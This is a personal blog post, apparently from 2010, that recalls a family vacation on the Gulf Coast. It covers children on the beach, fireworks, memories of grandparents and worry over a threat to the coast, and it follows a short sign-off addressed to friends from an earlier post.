Here I was, thinking that I was writing in a veritable vacuum!

You all posed a bit of a dilemma for me when I sat down to write this. Do I write it completely honestly, as if no one was reading it, the way I have always written it? Do I write it without thinking about who I am writing for, or who will read it? Or do i pull the punch?

I guess y’all can see which one I’ve chosen. Hopefully, no one will be freaked out or embarrassed by reading about themselves on here. I made every effort to leave out anything incriminating (and boy did i have some incriminating evidence!) And if you are a little freaked out, or embarrassed, you need to get a backbone and a sense of humor!

Just kidding. Just read back through my litany of embarrassing moments earlier in the post and you will feel much better about yourself. Plus, you are in the company of friends, and we all know everything about your personal horror show already!

Please, please, please take care of all yourselves and your loved ones until we meet again.

xoxo
Dogwood Girl

The Gulf

Tuesday, July 6th, 2010

I watched my children play in the sand while a storm came in, never quite reached us, but left us a rainbow that spanned the trees and the beach and gulf, all the way to the horizon.

I listened as my children discussed whether the pot of gold was in the forest or in the deep blue sea, and where did the leprechaun live?

I walked the beach at sunset and found the largest shell i have ever found in my whole life.

I sat in my beach chair, and thought about how many times I had sat on the Gulf in my life and thought about how small it made me feel.

I petted my dog’s velvet ears on the screened porch while having drinks with my husband and listening to music.

I had coffee with my sister while our kids played trains and chatted happily with each other.

I poured tequila at nine a.m.

I watched as the kids ignored the big ocean for the small tide pools and then rolled around in the mud. I didn’t worry a bit about the sand and the dirt.

I chased my nephew on the sand, and I clutched my hat to my head as the wind tried to take it from me.

I held hands with my little girl and walked on the docks. We dangled our feet over the edge, watching as sailboats came in, and we waved at the people and the dogs on board. We saw a crab on a pylon and we laughed at him.

I waited for hurricane waves to carry me in, and I scraped my knees on a thousand shells, and the ocean turned me upside down like I was in a washing machine. And I liked it and I laughed a true laugh and my raw, bruised knees felt good. It still feels good. I hope it doesn’t go away.

I stepped barefoot up a hundred iron spiral steps. I heard them clang and I heard the wind whistle through them. I got my bearings. I yearned to climb even farther and see how it all works. I saw beauty in the way things used to be made, and I saw that they could last.

I promised myself that I would try to convince Todd to let me paint the porch ceiling blue.

I wondered what it would be like to live 250 yards from the sea, in a time with no electricity, no gas, no artificial light, no corner grocery. I wondered what it would be like to live there and batten down the hatches. I wished I could have seen it then.

I gazed on an American flag flapping sharply in the wind, and I thought how very lucky I am.

I watched my husband stand alone in the ocean, staring out to sea. I thought to myself that he is the most wonderful person I have ever met, and that is the way it should be.

I pointed out pelicans flying in a perfect vee to my nephew and he pointed to them, too, and then looked at me to make sure I saw.

I saw my children and their cousin laugh and splash in the ocean, and I saw them put an arm around him when a big wave came, and I knew for a moment that I was doing something right.

I sat and waited until the last moment for the storm, a great wall of dark gray, to come ashore, and I got soaked, and I didn’t care. I danced under the awning with my husband and my children while it rained. And then we went right back out for more.

I sat on the beach with only my husband and we talked and laughed and listened to music in the sun.

I napped in the afternoon and woke to the voices of my family.

I felt sunbrushed and ate too much pizza.

I sat steps from the bay, and I watched her people gather, and I listened to their sweet southern voices. I sat next to my son and waited for the sun to set over the water. I listened to the pop of roman candles from the beach behind me, and I watched red and white fireworks pop up in the distance over the cape. I waved my flag and I watched a parade of lighted ships. I wondered what it would be like next year.

I heard the gasps of children and the sighs of grandmothers. I thought of the night many years ago now that I sat with my grandma, Alzheimer’s really starting to get her, and we watched fireworks, and a tear rolled down her cheek, and she whispered, “They’re beautiful,” and “I’ve never seen fireworks before.” And I knew she had seen them before, and that she just couldn’t remember it, but I was happy that she was experiencing them like a child for the first time, and I was happy to be holding her hand.

I thought, too, of sitting with friends and my children in a field in Chamblee last year, and knowing my Grandfather was not long for the world, and being overwhelmed at the sight of the fleeting bursts in the sky, and being moved to tears.

I listened to my children describe the sight and tears brimmed at the edges of my eyes.

“That one’s like a flower blossoming,” and “That one’s like Saturn,” he said, and “they perfectly lightly up the sky!” she exclaimed.

I held my son’s body on my chest, and rested my cheek next to his, and put my arms around him over his chest, and smiled when he reached up to clasp my arms with his hands. I felt him there past the brink of child and onto boyhood. I felt his weight get heavier and more substantial in the way that children do when they are bone-tired from good play and sun. I watched as he fell asleep and began to snore in the car on the way home, fireworks still lighting the sky over the bay.

I saw my sister relaxed and happy waiting for us, and it made my heart happy. I walked with my husband down the boardwalk. I stood, skirt snapping around my legs, and watched more fireworks, up and down the beach, and heard the raucous shouts of those shooting them off carried over to us across the sand. I laid down on the wind worn wood and we looked up at a million stars, and we watched a satellite traverse the sky above us.

I pondered the wonders man had made, and too, the horrors he had wrought.

I thought of the sadness and fear and anger I sensed from the people who make this place their home. And I cursed those who threatened them, and I cursed us all for the way we live. I lamented the fact that we have taken it all for granted until it might be too late.

I thought of a lifetime’s memories there – fishing and nets and swimming and sandcastles. The exhilaration of being away from my parents for the first time. Falling in love. Running on the beach. Watching the sunrise with my future husband, and bonfires and sweat lodges and drunken wrestling with friends. My sweet puppy, now an old dog, romping in the sand. I thought of the first time I ever saw my children play in the surf together.

I left it there yesterday, still pristine, still untouched, and I questioned if I would ever see it this way again in my lifetime, this place that captured my heart and soul.

I wondered if my children would remember it at all.